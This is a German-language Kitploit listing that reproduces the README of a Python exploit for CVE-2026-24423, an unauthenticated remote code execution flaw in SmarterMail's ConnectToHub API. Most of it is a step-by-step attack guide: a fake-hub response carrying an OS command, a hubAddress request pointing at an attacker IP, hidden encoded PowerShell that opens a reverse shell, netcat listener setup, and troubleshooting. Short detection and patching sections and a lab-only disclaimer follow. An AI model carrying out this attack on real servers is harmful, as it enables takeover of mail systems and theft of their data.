Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/cyberalp0/smartermail-cve-2026-24423
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubcyberalp0/smartermail-cve-2026-24423

SmarterMail-CVE-2026-24423

Exploit für CVE-2026-24423 — eine kritische, nicht authentifizierte RCE in der ConnectToHub-API von SmarterMail. Betrifft alle Builds vor 9511.

Repository anzeigen
vor 17h 2mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SmarterMail ConnectToHub RCE

Ein Python-basierter Exploit für CVE-2026-24423, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in der ConnectToHub-Funktionalität von SmarterTools SmarterMail.

Verwendungszweck: Nur für autorisierte Sicherheitstests, CTFs, Hack-The-Box-Labore und kontrollierte Forschungsumgebungen.


Inhaltsverzeichnis

  • Überblick
  • CVE-Details
  • Betroffene Versionen
  • Beschreibung der Schwachstelle
  • Technische Details
  • Exploit-Ablauf
  • Anforderungen
  • Konfiguration
  • Verwendung
  • Erwartete Ausgabe
  • Fehlerbehebung
  • Screenshots
  • Projektstruktur
  • Gegenmaßnahmen
  • Referenzen
  • Haftungsausschluss

Überblick

CVE-2026-24423 ist eine nicht authentifizierte Remote-Code-Execution-Schwachstelle, die SmarterTools SmarterMail betrifft.

Die Schwachstelle existiert in der ConnectToHub-Funktionalität. Ein nicht authentifizierter Angreifer kann eine bösartige hubAddress bereitstellen, wodurch der SmarterMail-Server eine HTTP-Anfrage an einen vom Angreifer kontrollierten Server sendet.

Der bösartige Server antwortet mit einer manipulierten setup-initial-connection-Antwort, die einen kontrollierten SystemMount.CommandMount-Wert enthält.

Die verwundbare SmarterMail-Instanz verarbeitet diesen Wert anschließend als Betriebssystembefehl, was eine beliebige Befehlsausführung im Sicherheitskontext des SmarterMail-Dienstes ermöglicht.

Der Schwachstelle wurde ein CVSS-4.0-Score von 9.3 (Kritisch) zugewiesen und sie ist als CWE-306: Fehlende Authentifizierung für kritische Funktion klassifiziert.


CVE-Details

FeldWert
CVECVE-2026-24423
HerstellerSmarterTools
ProduktSmarterMail
SchwachstelleNicht authentifizierte Remote Code Execution
CWECWE-306
CVSS v4.09.3 Kritisch
CVSS v3.19.8 Kritisch
AngriffsvektorNetzwerk
AuthentifizierungKeine
BenutzerinteraktionKeine
KomplexitätNiedrig
Veröffentlicht23. Januar 2026
Behobener Build9511

Der offizielle CVE-Eintrag beschreibt das Problem als nicht authentifizierte RCE über die ConnectToHub-API-Methode.


Betroffene Versionen

SmarterMail-Versionen vor Build 9511 sind betroffen.

Der CVE-Eintrag spezifiziert den betroffenen Bereich als:

root@kitploit:~
SmarterMail < 100.0.9511

Build 9511, veröffentlicht am 15. Januar 2026, enthält den Hersteller-Fix.

Verwundbar

root@kitploit:~
< 100.0.9511

Behoben

root@kitploit:~
>= 100.0.9511

Überprüfen Sie immer den exakt installierten Build, bevor Sie versuchen, die Schwachstelle zu reproduzieren.


Beschreibung der Schwachstelle

Die verwundbare Funktionalität wird über die SmarterMail-Systemverwaltungs-API bereitgestellt.

Die relevante Operation ist:

root@kitploit:~
/api/v1/settings/sysadmin/connect-to-hub

Der Endpunkt akzeptiert einen hubAddress-Parameter.

Konzeptionell kann ein Angreifer Folgendes bereitstellen:

root@kitploit:~
{
    "hubAddress": "http://ATTACKER_IP:8081",
    "oneTimePassword": "temporary-value",
    "nodeName": "DC"
}

SmarterMail verbindet sich dann mit der bereitgestellten Hub-Adresse und fordert an:

root@kitploit:~
/web/api/node-management/setup-initial-connection

Der vom Angreifer kontrollierte Server antwortet mit JSON, das ein bösartiges SystemMount-Objekt enthält.

Die wichtige Eigenschaft ist:

root@kitploit:~
"SystemMount": {
    "Enabled": true,
    "ReadOnly": false,
    "MountPath": "...",
    "CommandMount": "..."
}

Der CommandMount-Wert wird anschließend von der verwundbaren Anwendung als Betriebssystembefehl verwendet.

Dies ermöglicht einem Angreifer den Übergang von:

root@kitploit:~
Nicht authentifizierte HTTP-Anfrage

zu:

root@kitploit:~
Remote-Befehlsausführung

VulnChecks technische Analyse bestätigt, dass die vom Angreifer kontrollierte hubAddress dazu führt, dass SmarterMail den setup-initial-connection-Endpunkt des Angreifers anfordert und dass der zurückgegebene CommandMount eine beliebige Befehlsausführung ermöglichen kann.


Technische Details

Der Exploit besteht aus zwei Komponenten:

1. Fake SmarterMail Hub

Der Python-Server lauscht auf:

root@kitploit:~
POST /web/api/node-management/setup-initial-connection

und gibt eine manipulierte JSON-Antwort zurück, die den bösartigen SystemMount.CommandMount enthält.

2. Reverse-Shell-Listener

Ein separater TCP-Listener empfängt die Verbindung, die durch den auf dem Ziel ausgeführten Befehl initiiert wird.

Dieser Exploit verwendet absichtlich zwei separate Ports.

root@kitploit:~
8081
└── Fake SmarterMail Hub

4455
└── Reverse-Shell-Listener

Exploit-Ablauf

root@kitploit:~
flowchart LR

    A[Angreifer<br/>10.10.14.50]

    H[Fake SmarterMail Hub<br/>TCP/8081]

    T[SmarterMail-Ziel<br/>10.129.57.86]

    C[CommandMount<br/>Befehlsausführung]

    P[PowerShell]

    L[Reverse-Shell-Listener<br/>TCP/4455]

    A -->|ConnectToHub auslösen| T
    T -->|HTTP POST| H
    H -->|Bösartiges JSON| T
    T -->|CommandMount| C
    C --> P
    P -->|Reverse TCP| L
    L --> A

Verbindung 1 — Fake Hub

root@kitploit:~
Ziel
   |
   | HTTP
   v
10.10.14.50:8081

Verbindung 2 — Reverse Shell

root@kitploit:~
Ziel
   |
   | TCP
   v
10.10.14.50:4455

Diese Ports dienen unterschiedlichen Zwecken und sollten nicht verwechselt werden.


Anforderungen

  • Python 3
  • Linux-Angreifer-Maschine
  • Hack-The-Box-VPN oder ein gleichwertiges autorisiertes Netzwerk
  • Netzwerkverbindung vom Ziel zum Angreifer
  • Netcat
  • Verwundbare SmarterMail-Installation

Der Exploit verwendet nur Python-Standardbibliotheksmodule:

root@kitploit:~
http.server
json
base64

Es sind keine externen Python-Pakete erforderlich.


Konfiguration

Bearbeiten Sie die folgenden Variablen:

root@kitploit:~
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

Für die Beispiel-HTB-Umgebung:

root@kitploit:~
LHOST     = 10.10.14.50
LPORT     = 4455
HUB_PORT  = 8081

LHOST

LHOST ist die IP-Adresse des Angreifers, die das Ziel erreichen kann.

Für Hack The Box ist dies normalerweise die IP, die dem HTB-VPN-Interface zugewiesen ist:

root@kitploit:~
ip addr show tun0

Beispiel:

root@kitploit:~
tun0:
    inet 10.10.14.50

Daher:

root@kitploit:~
LHOST = "10.10.14.50"

LPORT

LPORT ist der TCP-Port, den der Angreifer zum Empfangen der Reverse-Verbindung verwendet.

Beispiel:

root@kitploit:~
LPORT = 4455

HUB_PORT

HUB_PORT ist der HTTP-Port, der vom bösartigen SmarterMail-Hub verwendet wird.

Beispiel:

root@kitploit:~
HUB_PORT = 8081

Verwendung

1. Repository klonen

root@kitploit:~
git clone https://github.com/<benutzername>/<repository>.git
cd <repository>

2. Exploit konfigurieren

Bearbeiten:

root@kitploit:~
nano exploit.py

Setzen:

root@kitploit:~
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

3. Reverse-Shell-Listener starten

Öffnen Sie ein Terminal:

root@kitploit:~
nc -lvnp 4455

Erwartet:

root@kitploit:~
Listening on 0.0.0.0 4455

Lassen Sie dieses Terminal geöffnet.


4. Bösartigen Hub starten

Öffnen Sie ein zweites Terminal:

root@kitploit:~
python3 exploit.py

Wenn das Binden an den gewählten Port erhöhte Rechte erfordert:

root@kitploit:~
sudo python3 exploit.py

Erwartete Ausgabe:

root@kitploit:~
============================================================
 SmarterMail fake hub
============================================================
[+] LHOST:      10.10.14.50
[+] LPORT:      4455
[+] HUB:        10.10.14.50:8081

[+] Warte auf SmarterMail...
============================================================

5. ConnectToHub auslösen

Senden Sie die entsprechende Anfrage an die verwundbare SmarterMail-Instanz.

Die bereitgestellte hubAddress muss auf den bösartigen HTTP-Server zeigen:

root@kitploit:~
{
    "hubAddress": "http://10.10.14.50:8081",
    "oneTimePassword": "tempst",
    "nodeName": "DC"
}

Der wichtige Wert ist:

root@kitploit:~
http://10.10.14.50:8081

Verwenden Sie nicht den Reverse-Shell-Port als Hub-Port.


Zusammenfassung der Portkonfiguration

ZweckIPPort
Angreifer-VPN10.10.14.50—
Fake SmarterMail Hub10.10.14.508081
Reverse Shell10.10.14.504455
HTB-Ziel10.129.57.86—

Der resultierende Ablauf ist:

root@kitploit:~
hubAddress
    ↓
10.10.14.50:8081
    ↓
Bösartiger CommandMount
    ↓
PowerShell
    ↓
10.10.14.50:4455

Payload-Kodierung

Der Exploit erstellt dynamisch die PowerShell-Payload.

Der -EncodedCommand-Parameter von PowerShell erwartet, dass der Befehl vor der Base64-Kodierung mit UTF-16LE kodiert wird.

Das Skript führt Folgendes aus:

root@kitploit:~
encoded = base64.b64encode(
    PS.encode("utf-16le")
).decode()

Der endgültige Befehl ist wie folgt strukturiert:

root@kitploit:~
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>

Dies vermeidet die manuelle Kodierung der Payload und verhindert häufige UTF-8/UTF-16LE-Kodierungsfehler.


Erwartete Ausgabe

Wenn das Ziel den bösartigen Hub erreicht:

root@kitploit:~
[+] SmarterMail-Verbindung empfangen
[+] Pfad: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sende CommandMount-Payload
[+] Reverse Shell -> 10.10.14.50:4455

Der Reverse-Shell-Listener sollte anschließend eine Verbindung empfangen:

root@kitploit:~
Connection received on 10.129.57.86 XXXXX

Nach der Verbindung kann eine grundlegende Validierung durchgeführt werden:

root@kitploit:~
whoami
root@kitploit:~
hostname

Fehlerbehebung

Fake Hub empfängt keine Verbindung

Überprüfen Sie, ob der Server lauscht:

root@kitploit:~
ss -lntp | grep 8081

Überprüfen Sie die VPN-Adresse:

root@kitploit:~
ip addr show tun0

Bestätigen Sie, dass LHOST mit der vom Ziel erreichbaren Adresse übereinstimmt.


Fake Hub empfängt HTTP 200, aber keine Shell

Eine erfolgreiche HTTP-Anfrage bedeutet, dass die erste Stufe funktioniert:

root@kitploit:~
Ziel
  |
  | HTTP
  v
Fake Hub :8081

Es bedeutet nicht unbedingt, dass die zweite Stufe erfolgreich war.

Überprüfen:

root@kitploit:~
ss -lntp | grep 4455

Stellen Sie sicher, dass Netcat vor dem Auslösen des Exploits gestartet wurde.

Überprüfen Sie außerdem:

root@kitploit:~
LHOST = vom Ziel erreichbare Angreifer-IP
LPORT = Listener-Port

Netcat empfängt die HTTP-Anfrage anstelle einer Shell

Wenn Sie Folgendes sehen:

root@kitploit:~
POST /web/api/node-management/setup-initial-connection

innerhalb von Netcat, haben Sie hubAddress auf den Reverse-Shell-Listener gerichtet.

Falsch:

root@kitploit:~
hubAddress = http://10.10.14.50:4455

Richtig:

root@kitploit:~
hubAddress = http://10.10.14.50:8081

Die beiden Ports müssen getrennt bleiben.


HTTP-400-Antwort

Eine 400-Antwort kann auftreten, wenn der Fake Hub nicht die von SmarterMail erwartete Struktur zurückgibt.

Stellen Sie sicher, dass die Antwort Folgendes enthält:

root@kitploit:~
"SystemMount": {
    "Enabled": true,
    "ReadOnly": false,
    "MountPath": "...",
    "CommandMount": "..."
}

Stellen Sie außerdem sicher, dass der angeforderte Pfad exakt ist:

root@kitploit:~
/web/api/node-management/setup-initial-connection

Die öffentliche Schwachstellenanalyse identifiziert diesen Endpunkt als Teil des verwundbaren ConnectToHub-Ablaufs.


Screenshots

Fügen Sie hier Screenshots aus dem HTB-Labor hinzu.

1. Ziel-Enumeration

Beispiel:

root@kitploit:~
![Nmap-Enumeration](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/nmap.png)

Vorgeschlagener Screenshot:

  • Nmap-Ergebnisse
  • SmarterMail-Dienst/-Version
  • Relevanter exponierter Port

2. Bösartiger Hub

root@kitploit:~
![Fake Hub](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/fake-hub.png)

Zeigen:

root@kitploit:~
[+] SmarterMail-Verbindung empfangen
[+] Sende CommandMount-Payload

3. Exploit-Auslösung

root@kitploit:~
![Burp-Anfrage](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/burp-request.png)

Zeigen Sie die Anfrage mit:

root@kitploit:~
{
    "hubAddress": "http://10.10.14.50:8081"
}

4. Reverse Shell

root@kitploit:~
![Reverse Shell](https://raw.githubusercontent.com/cyberalp0/smartermail-cve-2026-24423/HEAD/screenshots/reverse-shell.png)

Zeigen:

root@kitploit:~
Connection received on 10.129.57.86

und die resultierende Eingabeaufforderung.


Projektstruktur

root@kitploit:~
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
    ├── nmap.png
    ├── burp-request.png
    ├── fake-hub.png
    └── reverse-shell.png

Erkennung

Mögliche Indikatoren für eine Ausnutzung sind unerwartete Anfragen an:

root@kitploit:~
/api/v1/settings/sysadmin/connect-to-hub

und ausgehende Verbindungen vom SmarterMail-Server zu zuvor unbekannten HTTP-Hosts.

Administratoren sollten außerdem Anwendungs-, IIS/Reverse-Proxy- und Netzwerkprotokolle auf verdächtige ConnectToHub-Aktivitäten überprüfen.

CVE-2026-24423 wurde in den Katalog der Known Exploited Vulnerabilities von CISA aufgenommen, was darauf hindeutet, dass eine Ausnutzung außerhalb von Laborumgebungen beobachtet wurde.


Gegenmaßnahmen

Die primäre Abhilfe besteht darin, SmarterMail auf Build 9511 oder höher zu aktualisieren. Die Veröffentlichung des Herstellers vom 15. Januar 2026 hat die Schwachstelle behoben.

Wo ein sofortiges Patchen nicht möglich ist, sollten Organisationen zusätzlich Folgendes in Betracht ziehen:

  • Einschränkung des Zugriffs auf SmarterMail-Verwaltungs-APIs.
  • Verhinderung unnötigen externen Zugriffs auf Verwaltungsendpunkte.
  • Anwendung von Netzwerksegmentierung.
  • Überwachung ausgehender Verbindungen vom SmarterMail-Server.
  • Überprüfung historischer Protokolle auf verdächtige ConnectToHub-Anfragen.
  • Untersuchung unerwarteter Befehlsausführung durch das SmarterMail-Dienstkonto.

Referenzen

  • CVE-Eintrag: CVE-2026-24423
  • VulnCheck: SmarterMail ConnectToHub Unauthenticated RCE
  • CODE WHITE: Öffentliche Schwachstellenliste
  • SmarterTools SmarterMail Versionshinweise
  • CISA-Katalog der Known Exploited Vulnerabilities

Haftungsausschluss

Dieses Projekt wird nur für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt.

Verwenden Sie diesen Exploit nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

Der Autor übernimmt keine Verantwortung für Missbrauch, Schäden, Datenverlust, unbefugten Zugriff oder andere Konsequenzen, die sich aus der Verwendung dieser Software ergeben.

Verwenden Sie nur in kontrollierten Umgebungen wie:

  • Hack The Box
  • Capture-the-Flag-Wettbewerbe
  • Persönliche Labore
  • Autorisierte Penetrationstests
  • Sicherheitsforschungsumgebungen

Credits

CVE-2026-24423 wurde zugeschrieben:

  • Sina Kheirkhah
  • Piotr Bazydlo
  • Markus Wulftange
  • Cale Black

Die CVE wurde von VulnCheck am 23. Januar 2026 veröffentlicht.

Tool herunterladen